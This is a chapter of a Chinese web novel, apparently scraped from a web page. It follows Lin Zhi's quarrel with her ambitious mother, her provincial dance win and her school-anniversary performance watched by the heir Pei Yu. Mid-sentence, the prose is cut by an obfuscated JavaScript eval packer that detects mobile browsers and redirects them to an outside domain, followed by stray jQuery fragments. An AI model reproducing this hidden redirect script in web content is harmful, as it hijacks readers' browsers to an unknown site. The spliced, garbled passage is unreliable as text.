她把苏小小送上车，然后自己打了一辆车回家。出租车在小区门口停下来的时候已经是晚上十点半了。她付了钱，推开车门，脚刚落地，一抬头——
林美华站在小区门口。手里拿着手机，屏幕还亮着，显然是刚挂了电话。她的头发没有像平时那样盘得一丝不苟，披散着，风把发丝吹到脸上。穿着家居服，外面套了一件黑色的薄外套。
她在等人。等林栀。
林栀站在出租车旁边，隔着几米远的距离看着母亲。路灯把两个人的影子拉得很长。
“妈。”她说。
林美华没有应。她走过来，高跟鞋在路面上发出清脆的声响，走到林栀面前的时候停下来。
“你今天在烬园弹琵琶了？”林美华的声音不大，但每个字都带着寒气。
林栀没说话。
“我问你话呢。”林美华的声音拔高了一度，“你是不是在烬园弹琵琶了？”
“乐师生病了。”林栀说，“经理找不到人，我临时上去顶了一场。”
“谁让你顶的？”林美华的眼睛里有一团火，被她压着，但随时都会烧出来，“谁给你这个胆子？”
“妈——”
“你知不知道你是什么身份？你是林美华的女儿，不是餐厅里给人弹曲儿的。”林美华的声音越来越大，夜风把她的声音送得很远，“我花了多少钱培养你？学了十几年琵琶，就是让你在这种场合卖艺的？”
“卖艺？”林栀重复了这两个字，声音很平，“在自家店里救个场，叫卖艺？”
“我以为你只是脑子笨成绩不好，却没想到你连女孩最基本的自爱都没有，我怎么会有你这么自甘堕落的女儿。”
“什么叫自爱，乖乖听你的话，然后嫁给你想让我嫁的人叫自爱吗？”林栀眼睛里有自己都没察觉的讽刺，原主其实一直也隐隐知道的，妈妈其实并没有那么爱自己，自己不过是她用来实现目的的工具而已。
林家现在的地位很尴尬，真正有钱的人家，看不上他们，但是跟他们家一样的有钱的，林美华又看不上。
林美华被这句话噎了一下，她从来没想过自己的心思会被女儿洞察到。
她索性不再隐藏，声音沉下来，“你知不知道我为了让你进那个圈子，花了多少心思？你以为那些人家的门槛是谁都能进的？你以为他们会要一个行为有瑕疵的儿媳妇？”
“所以，”林栀说，“我在你这里的唯一价值就是嫁人是吗？让你摆脱新贵暴发户的身份。”
“妈妈，你真的爱我吗？”林栀问出了这句原主在心里久久回响的问题。
沉默持续了几秒。
“我不爱你？”林美华终于开口，“我不爱你，我让你学这个学那个？我不爱你，我花那么多钱培养你？我不爱你，我一个人开餐厅养你这么多年？”
林栀没有说话。
“你知道我年轻时候过的是什么日子吗？”林美华的声线绷得很紧，像一根快要断掉的弦，“你爸那个人，窝囊、没出息，我嫁给他几年，受了多少白眼？我为什么跟他离婚？因为我不想一辈子被人看不起。”
她往前走了一步，路灯的光落在她脸上，眼角的细纹在灯光下很清楚。
“我告诉你，这个世界就是这样。男的看女的，先看家世、看学历、看长相、看才艺。”她的声音里带着一种过来人的尖锐，那种被生活打磨过、被现实抽过耳光之后才会有的尖锐，“你是我女儿，我不想让你走我的老路。我吃了多少苦才到了今天这一步，你知不知道？”
林栀听着，没有打断。
林美华看着她，胸口起伏着，眼眶泛红，眼睛里隐隐有泪光。她已经很多年没有在林栀面前哭过了。她的眼泪很贵，不会轻易给。
林栀还是心软了：“我错了，下次不会了。”
“我先上楼了，明天有课。”
“……明天的舞蹈课，别迟到。”林美华的声音有些哑，说出来的话还是那句话，那句她说了十几年的话，“周老师说你比赛有希望，别给我掉链子。”
“知道了。”
——
十一月最后一周，省舞蹈比赛在省艺校大礼堂举行。
林栀抽到的号次靠后，在候场区等了将近两个小时。周老师坐在她旁边，没有说话，只是在林栀站起来准备上场的时候，伸手帮她理了理鬓角的碎发。
“去吧。”周老师说。
林栀点了点头，走上台。
灯光打下来的时候，她深吸一口气。
音乐响起。
四分钟后，最后一个动作定格。掌声从台下涌上来，比预想的热烈。评委席上有人点了点头，有人在纸上写了什么。
林栀鞠躬，转身下台。周老师在侧幕等她，脸上的表情没有太大变化，但眼睛里有一种“早就知道会这样”的光。
“很不错。”周老师说。
林栀知道这三个字的份量。
成绩是当天晚上出来的。全省第一名。
省第一名。
林美华看到成绩的时候，脸上难得露出了一丝满意的神色。
消息在班里传得不快——毕竟大多数人走文化课路线，对舞蹈比赛的关注度有限。但苏小小知道。她不仅知道，还恨不得全世界都知道。
“我就知道你可以的！啊啊啊啊啊！你以后就是大明星了林栀！”苏小小的声音在课间格外响亮，好几个同学都往这边看过来。
林栀伸手捂了一下她的嘴：“小声点。”
苏小小把她的手扒拉开，还要继续喊，班主任刘亚梅正好夹着教案走进教室，被这一嗓子震得顿了一下。
“什么事这么高兴？”刘老师推了推眼镜，目光在教室里扫了一圈，落在林栀身上。
苏小小抢答：“林栀舞蹈比赛拿了省第一！”
刘老师看了林栀一眼，点了点头：“真不错。”然后把教案放在讲台上，话题一转，“正好，说个事。下个月校庆，咱们学校建校五十周年。”
教室里安静了一些。
“学校邀请了挺多校友回来，本来想着你们高三压力大，校庆活动就不让你们掺和了。”刘老师顿了一下，“但今年学校那边觉得五十周年是个整日子，想办得隆重一点，所以高三也要参加。时间是下周五下午，全体高三到大礼堂坐场。”
底下有人叹气，有人嘀咕“高三了还搞这些”。刘老师拍了一下讲台：“安静。还有一件事——每个班最好准备一个节目，时间不长，五分钟左右。咱们班有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516359|202757||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没有人愿意报？”
教室里安静了两秒。
刘老师的目光在班里转了一圈，最后落在林栀身上。“林栀，你刚拿了省第一，要不你准备一个？不用太耗时间，你那个舞蹈随便跳一段就行。”
同学们都顺着刘老师的视线看向林栀。苏小小在旁边眼睛发光，用胳膊肘捅了她一下，小声说：“去去去。”
林栀张了张嘴。她想拒绝紧。舞蹈省赛刚结束，文化课刚拉回来，不想因为别的事情分心。但全班都在看她，苏小小在旁边满脸期待，刘老师也看着她，拒绝的话堵在嗓子眼，说不出口。
“行。”她说。
苏小小在桌子底下握了一下她的手。
校庆那天，大礼堂坐满了人。
第三个节目结束，主持人报幕：“下一个节目，舞蹈《芳华》，表演者——高三七班林栀。”
她站起来，深吸一口气，从侧面走上台。
裴煜坐在校友席的第二排，靠在椅背上，姿态松散。他是被学校请回来的——优秀校友，裴氏集团的少东家，挂名的荣誉校友。
第四个节目报幕的时候他正在回消息。手指在屏幕上划了一下，听到“林栀”两个字，没有什么反应——这个名字对他来说没有任何意义。
古琴与箫的合奏从音响里流出来，清冷悠远，像山涧里的溪水，带着一种不沾烟火气的寂寥。然后是一个女孩从侧幕走出来。
月白色的舞衣在灯光下泛着柔和的光泽，水袖垂下来，几乎要拖到地上。她站在舞台中央，没有动，只是微微低着头，额前几缕青丝轻垂，遮不住眉眼间的清绝，肌肤胜雪，在暖光里莹润透亮，身姿纤细如竹，整个人清艳得像月下寒梅，自带一股不染尘的仙气，让人一眼就移不开目光。
音乐渐起，她终于动了。
起势极缓，水袖随着她的手腕轻轻扬起，像一片羽毛，又像一缕烟。
裴煜正在打字的手停了。
他抬起头，目光穿过台上台下之间那片模糊的光，落在那个人身上。
她的动作渐渐快了起来，水袖在她身边翻飞，像两只白色的蝴蝶。
裴煜没有动。
他靠在椅背上，手机还握在手里，屏幕还亮着，对话框里的字打了一半，光标还在一闪一闪地跳。但他已经不看手机了。
音乐渐弱，她的动作也慢了下来。最后一个动作，她跪在地上，水袖从她身后铺展开来，像一片白色的雪。她微微仰起头，眉眼舒展，浅褐色的眼瞳里映着舞台的灯光，像盛着星光，下颌微收，露出优美的颈线，周身的清冷与柔和交织，美得让人屏息。
雷鸣般掌声响起来，没有人会不为这么一场动人的舞蹈感到动容惊艳。
尤其是高三七班的同学们拍的手都红了，控制不住的站起来一直叫好，惹得保安频频提醒。
林栀站起来，鞠躬，转身，侧幕吞没了她的身影。
裴煜靠在椅背上，闭上眼睛，脑海里全是她跳舞的样子。
他说又去了三四次烬园都没见到她，他差点就要失去耐心动用权势了。
真是踏破铁鞋无觅处，得来全不费工夫。
他忽然笑了。
原来如此。
原来她在这里。